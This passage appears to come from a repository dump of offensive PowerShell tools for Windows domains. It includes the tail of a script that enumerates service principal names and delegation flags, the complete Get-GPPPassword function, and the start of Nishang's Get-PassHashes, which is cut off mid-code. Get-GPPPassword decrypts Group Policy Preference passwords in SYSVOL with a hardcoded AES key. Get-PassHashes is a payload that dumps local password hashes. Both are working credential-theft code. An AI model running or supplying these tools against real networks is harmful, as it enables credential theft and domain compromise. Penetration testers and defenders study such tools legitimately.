[int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.CanSendEncryptedPassword) -gt0) 281 | UACDuplicateAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.DuplicateAccount) -gt0) 282 | UACNormalAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.NormalAccount) -gt0) 283 | UACTrustAccountForInterDomain = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.TrustAccountForInterDomain) -gt0) 284 | UACIsComputerAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.IsComputerAccount) -gt0) 285 | UACServerTrustAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.ServerTrustAccount) -gt0) 286 | UACPasswordNeverExpires = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PasswordNeverExpires) -gt0) 287 | UACMNSLogonAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.MNSLogonAccount) -gt0) 288 | UACSmartcardRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.SmartcardRequired) -gt0) 289 | UACTrustedForDelegation = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.TrustedForDelegation) -gt0) 290 | UACNotDelegated = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.NotDelegated) -gt0) 291 | UACUseDESKeyOnly = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.UseDESKeyOnly) -gt0) 292 | UACPreAuthNotRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PreAuthNotRequired) -gt0) 293 | UACAccountExpired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.AccountExpired) -gt0) 294 | UACEnabledForDelegation = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.EnabledForDelegation) -gt0) 295 | } 296 | 297 | $record | Select-Object -Property Name, ` 298 | SamAccountName, ` 299 | DistinguishedName, ` 300 | SPNs, ` 301 | Delegations, ` 302 | MemberOfGroups, ` 303 | ComputerAccountExists, ` 304 | NonComputerAccounts, ` 305 | @{n='UACLogonScriptExecuted';e={if ($_.UACLogonScriptExecuted) {'1'}}}, ` 306 | @{n='UACAccountDisabled';e={if ($_.UACAccountDisabled) {'1'}}}, ` 307 | @{n='UACHomeDirRequired';e={if ($_.UACHomeDirRequired) {'1'}}}, ` 308 | @{n='UACLockedOut';e={if ($_.UACLockedOut) {'1'}}}, ` 309 | @{n='UACPasswordNotRequired';e={if ($_.UACPasswordNotRequired) {'1'}}}, ` 310 | @{n='UACCannotChangePassword';e={if ($_.UACCannotChangePassword) {'1'}}}, ` 311 | @{n='UACCanSendEncryptedPassword';e={if ($_.UACCanSendEncryptedPassword) {'1'}}}, ` 312 | @{n='UACDuplicateAccount';e={if ($_.UACDuplicateAccount) {'1'}}}, ` 313 | @{n='UACNormalAccount';e={if ($_.UACNormalAccount) {'1'}}}, ` 314 | @{n='UACTrustAccountForInterDomain';e={if ($_.UACTrustAccountForInterDomain) {'1'}}}, ` 315 | @{n='UACIsComputerAccount';e={if ($_.UACIsComputerAccount) {'1'}}}, ` 316 | @{n='UACServerTrustAccount';e={if ($_.UACServerTrustAccount) {'1'}}}, ` 317 | @{n='UACPasswordNeverExpires';e={if ($_.UACPasswordNeverExpires) {'1'}}}, ` 318 | @{n='UACMNSLogonAccount';e={if ($_.UACMNSLogonAccount) {'1'}}}, ` 319 | @{n='UACSmartcardRequired';e={if ($_.UACSmartcardRequired) {'1'}}}, ` 320 | @{n='UACTrustedForDelegation';e={if ($_.UACTrustedForDelegation) {'1'}}}, ` 321 | @{n='UACNotDelegated';e={if ($_.UACNotDelegated) {'1'}}}, ` 322 | @{n='UACUseDESKeyOnly';e={if ($_.UACUseDESKeyOnly) {'1'}}}, ` 323 | @{n='UACPreAuthNotRequired';e={if ($_.UACPreAuthNotRequired) {'1'}}}, ` 324 | @{n='UACAccountExpired';e={if ($_.UACAccountExpired) {'1'}}}, ` 325 | @{n='UACEnabledForDelegation';e={if ($_.UACEnabledForDelegation) {'1'}}} | Export-Csv -Path $ReportPathUsersCSV -Append -NoTypeInformation -Encoding UTF8 326 | 327 | if ($showResult) 328 | { 329 | $record | Select-Object -Property Name, ` 330 | DistinguishedName, ` 331 | SPNs, ` 332 | Delegations, ` 333 | MemberOfGroups, ` 334 | ComputerAccountExists, ` 335 | NonComputerAccounts, ` 336 | @{n='UACLogonScriptExecuted';e={if ($_.UACLogonScriptExecuted) {'1'}}}, ` 337 | @{n='UACAccountDisabled';e={if ($_.UACAccountDisabled) {'1'}}}, ` 338 | @{n='UACHomeDirRequired';e={if ($_.UACHomeDirRequired) {'1'}}}, ` 339 | @{n='UACLockedOut';e={if ($_.UACLockedOut) {'1'}}}, ` 340 | @{n='UACPasswordNotRequired';e={if ($_.UACPasswordNotRequired) {'1'}}}, ` 341 | @{n='UACCannotChangePassword';e={if ($_.UACCannotChangePassword) {'1'}}}, ` 342 | @{n='UACCanSendEncryptedPassword';e={if ($_.UACCanSendEncryptedPassword) {'1'}}}, ` 343 | @{n='UACDuplicateAccount';e={if ($_.UACDuplicateAccount) {'1'}}}, ` 344 | @{n='UACNormalAccount';e={if ($_.UACNormalAccount) {'1'}}}, ` 345 | @{n='UACTrustAccountForInterDomain';e={if ($_.UACTrustAccountForInterDomain) {'1'}}}, ` 346 | @{n='UACIsComputerAccount';e={if ($_.UACIsComputerAccount) {'1'}}}, ` 347 | @{n='UACServerTrustAccount';e={if ($_.UACServerTrustAccount) {'1'}}}, ` 348 | @{n='UACPasswordNeverExpires';e={if ($_.UACPasswordNeverExpires) {'1'}}}, ` 349 | @{n='UACMNSLogonAccount';e={if ($_.UACMNSLogonAccount) {'1'}}}, ` 350 | @{n='UACSmartcardRequired';e={if ($_.UACSmartcardRequired) {'1'}}}, ` 351 | @{n='UACTrustedForDelegation';e={if ($_.UACTrustedForDelegation) {'1'}}}, ` 352 | @{n='UACNotDelegated';e={if ($_.UACNotDelegated) {'1'}}}, ` 353 | @{n='UACUseDESKeyOnly';e={if ($_.UACUseDESKeyOnly) {'1'}}}, ` 354 | @{n='UACPreAuthNotRequired';e={if ($_.UACPreAuthNotRequired) {'1'}}}, ` 355 | @{n='UACAccountExpired';e={if ($_.UACAccountExpired) {'1'}}}, ` 356 | @{n='UACEnabledForDelegation';e={if ($_.UACEnabledForDelegation) {'1'}}} 357 | } 358 | else 359 | { 360 | $_.Name 361 | } 362 | 363 | Write-Verbose -Message "$idx/$SPNCount - Time taken: $(((Get-Date)-$startProcess).TotalSeconds) seconds" 364 | } 365 | } 366 | 367 | 368 | if (-not $NoComputers) 369 | { 370 | #Handle computers 371 | if (Test-Path -Path $ReportPathComputersCSV) 372 | { 373 | Remove-Item -Path $ReportPathComputersCSV 374 | } 375 | 376 | $SPNCount = (Get-ADUser -Filter 'ServicePrincipalNames -like "*"' | Measure-Object).Count 377 | Write-Verbose -Message "Querying $SPNCount computers" 378 | $idx = 0 379 | 380 | Get-ADComputer -Filter 'ServicePrincipalNames -like "*"' | Get-ADObject -Properties *, msDS-AllowedToDelegateTo | ForEach-Object ` 381 | { 382 | $startProcess = Get-Date 383 | $idx++ 384 | 385 | Log-Text -Text "Processing user '$($_.DistinguishedName)" 386 | 387 | $memberOfGroups = @((Get-ADGroup "$domainSID-$($_.primaryGroupID)").DistinguishedName) 388 | 389 | $otherGroups = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($_.name)$))")).FindOne() 390 | if ($otherGroups) 391 | { 392 | $memberOfGroups += $otherGroups.GetDirectoryEntry().memberOf 393 | } 394 | 395 | 396 | $computerAccountInfo = Get-ComputerAccountInfo -ServicePrincipalName $_.ServicePrincipalName 397 | 398 | $computerAccountExists = $computerAccountInfo.computerAccountExists 399 | $nonComputerAccounts = $computerAccountInfo.nonComputerAccounts 400 | 401 | $record = New-Object pscustomobject -Property @{ 402 | Name = $_.Name 403 | SamAccountName = $_.SamAccountName 404 | DistinguishedName = $_.DistinguishedName 405 | SPNs = "'" + ($_.ServicePrincipalName -join "', '") + "'" 406 | Delegations = "'" + ($_.'msDS-AllowedToDelegateTo' -join "', '") + "'" 407 | MemberOfGroups = "'" + ($memberOfGroups -join "', '") + "'" 408 | ComputerAccountExists = $computerAccountExists 409 | NonComputerAccounts = $nonComputerAccounts 410 | UACLogonScriptExecuted = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.LogonScriptExecuted) -gt0) 411 | UACAccountDisabled = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.AccountDisabled) -gt0) 412 | UACHomeDirRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.HomeDirRequired) -gt0) 413 | UACLockedOut = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.LockedOut) -gt0) 414 | UACPasswordNotRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PasswordNotRequired) -gt0) 415 | UACCannotChangePassword = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.CannotChangePassword) -gt0) 416 | UACCanSendEncryptedPassword = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.CanSendEncryptedPassword) -gt0) 417 | UACDuplicateAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.DuplicateAccount) -gt0) 418 | UACNormalAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.NormalAccount) -gt0) 419 | UACTrustAccountForInterDomain = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.TrustAccountForInterDomain) -gt0) 420 | UACIsComputerAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.IsComputerAccount) -gt0) 421 | UACServerTrustAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.ServerTrustAccount) -gt0) 422 | UACPasswordNeverExpires = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PasswordNeverExpires) -gt0) 423 | UACMNSLogonAccount = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.MNSLogonAccount) -gt0) 424 | UACSmartcardRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.SmartcardRequired) -gt0) 425 | UACTrustedForDelegation = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.TrustedForDelegation) -gt0) 426 | UACNotDelegated = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.NotDelegated) -gt0) 427 | UACUseDESKeyOnly = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.UseDESKeyOnly) -gt0) 428 | UACPreAuthNotRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PreAuthNotRequired) -gt0) 429 | UACAccountExpired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.AccountExpired) -gt0) 430 | UACEnabledForDelegation = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.EnabledForDelegation) -gt0) 431 | } 432 | 433 | $record | Select-Object -Property Name, ` 434 | SamAccountName, ` 435 | DistinguishedName, ` 436 | SPNs, ` 437 | Delegations, ` 438 | MemberOfGroups, ` 439 | ComputerAccountExists, ` 440 | NonComputerAccounts, ` 441 | @{n='UACLogonScriptExecuted';e={if ($_.UACLogonScriptExecuted) {'1'}}}, ` 442 | @{n='UACAccountDisabled';e={if ($_.UACAccountDisabled) {'1'}}}, ` 443 | @{n='UACHomeDirRequired';e={if ($_.UACHomeDirRequired) {'1'}}}, ` 444 | @{n='UACLockedOut';e={if ($_.UACLockedOut) {'1'}}}, ` 445 | @{n='UACPasswordNotRequired';e={if ($_.UACPasswordNotRequired) {'1'}}}, ` 446 | @{n='UACCannotChangePassword';e={if ($_.UACCannotChangePassword) {'1'}}}, ` 447 | @{n='UACCanSendEncryptedPassword';e={if ($_.UACCanSendEncryptedPassword) {'1'}}}, ` 448 | @{n='UACDuplicateAccount';e={if ($_.UACDuplicateAccount) {'1'}}}, ` 449 | @{n='UACNormalAccount';e={if ($_.UACNormalAccount) {'1'}}}, ` 450 | @{n='UACTrustAccountForInterDomain';e={if ($_.UACTrustAccountForInterDomain) {'1'}}}, ` 451 | @{n='UACIsComputerAccount';e={if ($_.UACIsComputerAccount) {'1'}}}, ` 452 | @{n='UACServerTrustAccount';e={if ($_.UACServerTrustAccount) {'1'}}}, ` 453 | @{n='UACPasswordNeverExpires';e={if ($_.UACPasswordNeverExpires) {'1'}}}, ` 454 | @{n='UACMNSLogonAccount';e={if ($_.UACMNSLogonAccount) {'1'}}}, ` 455 | @{n='UACSmartcardRequired';e={if ($_.UACSmartcardRequired) {'1'}}}, ` 456 | @{n='UACTrustedForDelegation';e={if ($_.UACTrustedForDelegation) {'1'}}}, ` 457 | @{n='UACNotDelegated';e={if ($_.UACNotDelegated) {'1'}}}, ` 458 | @{n='UACUseDESKeyOnly';e={if ($_.UACUseDESKeyOnly) {'1'}}}, ` 459 | @{n='UACPreAuthNotRequired';e={if ($_.UACPreAuthNotRequired) {'1'}}}, ` 460 | @{n='UACAccountExpired';e={if ($_.UACAccountExpired) {'1'}}}, ` 461 | @{n='UACEnabledForDelegation';e={if ($_.UACEnabledForDelegation) {'1'}}} | Export-Csv -Path $ReportPathUsersCSV -Append -NoTypeInformation -Encoding UTF8 462 | 463 | if ($showResult) 464 | { 465 | $record | Select-Object -Property Name, ` 466 | DistinguishedName, ` 467 | SPNs, ` 468 | Delegations, ` 469 | MemberOfGroups, ` 470 | ComputerAccountExists, ` 471 | NonComputerAccounts, ` 472 | @{n='UACLogonScriptExecuted';e={if ($_.UACLogonScriptExecuted) {'1'}}}, ` 473 | @{n='UACAccountDisabled';e={if ($_.UACAccountDisabled) {'1'}}}, ` 474 | @{n='UACHomeDirRequired';e={if ($_.UACHomeDirRequired) {'1'}}}, ` 475 | @{n='UACLockedOut';e={if ($_.UACLockedOut) {'1'}}}, ` 476 | @{n='UACPasswordNotRequired';e={if ($_.UACPasswordNotRequired) {'1'}}}, ` 477 | @{n='UACCannotChangePassword';e={if ($_.UACCannotChangePassword) {'1'}}}, ` 478 | @{n='UACCanSendEncryptedPassword';e={if ($_.UACCanSendEncryptedPassword) {'1'}}}, ` 479 | @{n='UACDuplicateAccount';e={if ($_.UACDuplicateAccount) {'1'}}}, ` 480 | @{n='UACNormalAccount';e={if ($_.UACNormalAccount) {'1'}}}, ` 481 | @{n='UACTrustAccountForInterDomain';e={if ($_.UACTrustAccountForInterDomain) {'1'}}}, ` 482 | @{n='UACIsComputerAccount';e={if ($_.UACIsComputerAccount) {'1'}}}, ` 483 | @{n='UACServerTrustAccount';e={if ($_.UACServerTrustAccount) {'1'}}}, ` 484 | @{n='UACPasswordNeverExpires';e={if ($_.UACPasswordNeverExpires) {'1'}}}, ` 485 | @{n='UACMNSLogonAccount';e={if ($_.UACMNSLogonAccount) {'1'}}}, ` 486 | @{n='UACSmartcardRequired';e={if ($_.UACSmartcardRequired) {'1'}}}, ` 487 | @{n='UACTrustedForDelegation';e={if ($_.UACTrustedForDelegation) {'1'}}}, ` 488 | @{n='UACNotDelegated';e={if ($_.UACNotDelegated) {'1'}}}, ` 489 | @{n='UACUseDESKeyOnly';e={if ($_.UACUseDESKeyOnly) {'1'}}}, ` 490 | @{n='UACPreAuthNotRequired';e={if ($_.UACPreAuthNotRequired) {'1'}}}, ` 491 | @{n='UACAccountExpired';e={if ($_.UACAccountExpired) {'1'}}}, ` 492 | @{n='UACEnabledForDelegation';e={if ($_.UACEnabledForDelegation) {'1'}}} 493 | } 494 | else 495 | { 496 | $_.Name 497 | } 498 | 499 | Write-Verbose -Message "$idx/$SPNCount - Time taken: $(((Get-Date)-$startProcess).TotalSeconds) seconds" 500 | } 501 | } 502 | 503 | #endregion Code 504 | 505 | Log-Text -Text 'Finish' 506 | Log-Text -Text '------------------------------------------------------------------------------------------------------------------------------' 507 | -------------------------------------------------------------------------------- /Get-GPPPassword.ps1: -------------------------------------------------------------------------------- 1 | function Get-GPPPassword { 2 | <# 3 | .SYNOPSIS 4 | 5 | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. 6 | 7 | PowerSploit Function: Get-GPPPassword 8 | Author: Chris Campbell (@obscuresec) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. 16 | 17 | .PARAMETER Server 18 | 19 | Specify the domain controller to search for. 20 | Default's to the users current domain 21 | 22 | .EXAMPLE 23 | 24 | PS C:\> Get-GPPPassword 25 | 26 | NewName : [BLANK] 27 | Changed : {2014-02-21 05:28:53} 28 | Passwords : {password12} 29 | UserNames : {test1} 30 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml 31 | 32 | NewName : {mspresenters} 33 | Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} 34 | Passwords : {Recycling*3ftw!, password123, password1234} 35 | UserNames : {Administrator (built-in), DummyAccount, dummy2} 36 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml 37 | 38 | NewName : [BLANK] 39 | Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} 40 | Passwords : {password, password1234$} 41 | UserNames : {administrator, admin} 42 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml 43 | 44 | NewName : [BLANK] 45 | Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} 46 | Passwords : {password, read123} 47 | UserNames : {DEMO\Administrator, admin} 48 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml 49 | 50 | .EXAMPLE 51 | PS C:\> Get-GPPPassword -Server EXAMPLE.COM 52 | 53 | NewName : [BLANK] 54 | Changed : {2014-02-21 05:28:53} 55 | Passwords : {password12} 56 | UserNames : {test1} 57 | File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml 58 | 59 | NewName : {mspresenters} 60 | Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} 61 | Passwords : {Recycling*3ftw!, password123, password1234} 62 | UserNames : {Administrator (built-in), DummyAccount, dummy2} 63 | File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml 64 | 65 | .EXAMPLE 66 | 67 | PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq 68 | 69 | password 70 | password12 71 | password123 72 | password1234 73 | password1234$ 74 | read123 75 | Recycling*3ftw! 76 | 77 | .LINK 78 | 79 | http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html 80 | https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 81 | http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences 82 | http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html 83 | #> 84 | 85 | [CmdletBinding()] 86 | Param ( 87 | [ValidateNotNullOrEmpty()] 88 | [String] 89 | $Server = $Env:USERDNSDOMAIN 90 | ) 91 | 92 | #Some XML issues between versions 93 | Set-StrictMode -Version 2 94 | 95 | #define helper function that decodes and decrypts password 96 | function Get-DecryptedCpassword { 97 | [CmdletBinding()] 98 | Param ( 99 | [string] $Cpassword 100 | ) 101 | 102 | try { 103 | #Append appropriate padding based on string length 104 | $Mod = ($Cpassword.length % 4) 105 | 106 | switch ($Mod) { 107 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 108 | '2' {$Cpassword += ('=' * (4 - $Mod))} 109 | '3' {$Cpassword += ('=' * (4 - $Mod))} 110 | } 111 | 112 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 113 | 114 | #Create a new AES .NET Crypto Object 115 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider 116 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 117 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 118 | 119 | #Set IV to all nulls to prevent dynamic generation of IV value 120 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 121 | $AesObject.IV = $AesIV 122 | $AesObject.Key = $AesKey 123 | $DecryptorObject = $AesObject.CreateDecryptor() 124 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 125 | 126 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 127 | } 128 | 129 | catch {Write-Error $Error[0]} 130 | } 131 | 132 | #define helper function to parse fields from xml files 133 | function Get-GPPInnerFields { 134 | [CmdletBinding()] 135 | Param ( 136 | $File 137 | ) 138 | 139 | try { 140 | 141 | $Filename = Split-Path $File -Leaf 142 | [xml] $Xml = Get-Content ($File) 143 | 144 | #declare empty arrays 145 | $Cpassword = @() 146 | $UserName = @() 147 | $NewName = @() 148 | $Changed = @() 149 | $Password = @() 150 | 151 | #check for password field 152 | if ($Xml.innerxml -like "*cpassword*"){ 153 | 154 | Write-Verbose "Potential password in $File" 155 | 156 | switch ($Filename) { 157 | 158 | 'Groups.xml' { 159 | $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 160 | $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 161 | $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 162 | $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 163 | } 164 | 165 | 'Services.xml' { 166 | $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 167 | $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 168 | $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 169 | } 170 | 171 | 'Scheduledtasks.xml' { 172 | $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 173 | $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} 174 | $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 175 | } 176 | 177 | 'DataSources.xml' { 178 | $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 179 | $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 180 | $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 181 | } 182 | 183 | 'Printers.xml' { 184 | $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 185 | $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 186 | $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 187 | } 188 | 189 | 'Drives.xml' { 190 | $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 191 | $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 192 | $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 193 | } 194 | } 195 | } 196 | 197 | foreach ($Pass in $Cpassword) { 198 | Write-Verbose "Decrypting $Pass" 199 | $DecryptedPassword = Get-DecryptedCpassword $Pass 200 | Write-Verbose "Decrypted a password of $DecryptedPassword" 201 | #append any new passwords to array 202 | $Password += , $DecryptedPassword 203 | } 204 | 205 | #put [BLANK] in variables 206 | if (!($Password)) {$Password = '[BLANK]'} 207 | if (!($UserName)) {$UserName = '[BLANK]'} 208 | if (!($Changed)) {$Changed = '[BLANK]'} 209 | if (!($NewName)) {$NewName = '[BLANK]'} 210 | 211 | #Create custom object to output results 212 | $ObjectProperties = @{'Passwords' = $Password; 213 | 'UserNames' = $UserName; 214 | 'Changed' = $Changed; 215 | 'NewName' = $NewName; 216 | 'File' = $File} 217 | 218 | $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties 219 | Write-Verbose "The password is between {} and may be more than one value." 220 | if ($ResultsObject) {Return $ResultsObject} 221 | } 222 | 223 | catch {Write-Error $Error[0]} 224 | } 225 | 226 | try { 227 | #ensure that machine is domain joined and script is running as a domain account 228 | if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { 229 | throw 'Machine is not a domain member or User is not a member of the domain.' 230 | } 231 | 232 | #discover potential files containing passwords ; not complaining in case of denied access to a directory 233 | Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." 234 | $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' 235 | 236 | if ( -not $XMlFiles ) {throw 'No preference files found.'} 237 | 238 | Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." 239 | 240 | foreach ($File in $XMLFiles) { 241 | $Result = (Get-GppInnerFields $File.Fullname) 242 | Write-Output $Result 243 | } 244 | } 245 | 246 | catch {Write-Error $Error[0]} 247 | } 248 | -------------------------------------------------------------------------------- /Get-PassHashes.ps1: -------------------------------------------------------------------------------- 1 | function Get-PassHashes { 2 | <# 3 | .SYNOPSIS 4 | Nishang payload which dumps password hashes. 5 | 6 | .DESCRIPTION 7 | The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script 8 | (but not SYSTEM privs as for the original powerdump written by David Kennedy) 9 | 10 | .EXAMPLE 11 | PS > Get-PassHashes 12 | Run above from an elevated shell. 13 | 14 | 15 | .EXAMPLE 16 | PS > Get-PassHashes -PSObjectFormat 17 | Use above to receive the hashes output as a PSObject. 18 | 19 | .LINK 20 | http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060 21 | https://github.com/samratashok/nishang 22 | 23 | .Notes 24 | Reflection added by https://github.com/Zer1t0 25 | 26 | #> 27 | [CmdletBinding()] 28 | Param ( 29 | [Switch]$PSObjectFormat 30 | ) 31 | 32 | $script:PowerDump = $null 33 | function LoadApi 34 | { 35 | # https://blogs.technet.microsoft.com/heyscriptingguy/2013/06/27/use-powershell-to-interact-with-the-windows-api-part-3/ 36 | $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') 37 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 38 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) 39 | $TypeBuilder = $ModuleBuilder.DefineType('PowerDump', 'Public, Class') 40 | 41 | ####################################################################### 42 | # [DllImport("advapi32.dll", CharSet = CharSet.Auto)] 43 | # public static extern int RegOpenKeyEx(int hKey, string subKey, int ulOptions, int samDesired, out int hkResult); 44 | $PInvokeMethod = $TypeBuilder.DefineMethod( 45 | 'RegOpenKeyEx', 46 | [Reflection.MethodAttributes] 'Public, Static', 47 | [int], 48 | [Type[]] @( [int], [string], [int], [int], [int].MakeByRefType()) 49 | ) 50 | 51 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 52 | 53 | $FieldArray = [Reflection.FieldInfo[]] @( 54 | [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), 55 | [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') 56 | ) 57 | $FieldValueArray = [Object[]] @( 58 | 'RegOpenKeyEx', 59 | [Runtime.InteropServices.CharSet]::Auto 60 | ) 61 | 62 | $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( 63 | $DllImportConstructor, 64 | @('advapi32.dll'), 65 | $FieldArray, 66 | $FieldValueArray 67 | ) 68 | $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) 69 | ########################################################################## 70 | #[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] 71 | #extern public static int RegQueryInfoKey(int hkey, StringBuilder lpClass, ref int lpcbClass, int lpReserved, out int lpcSubKeys, out int lpcbMaxSubKeyLen, out int lpcbMaxClassLen, out int lpcValues, out int lpcbMaxValueNameLen, out int lpcbMaxValueLen, out int lpcbSecurityDescriptor, IntPtr 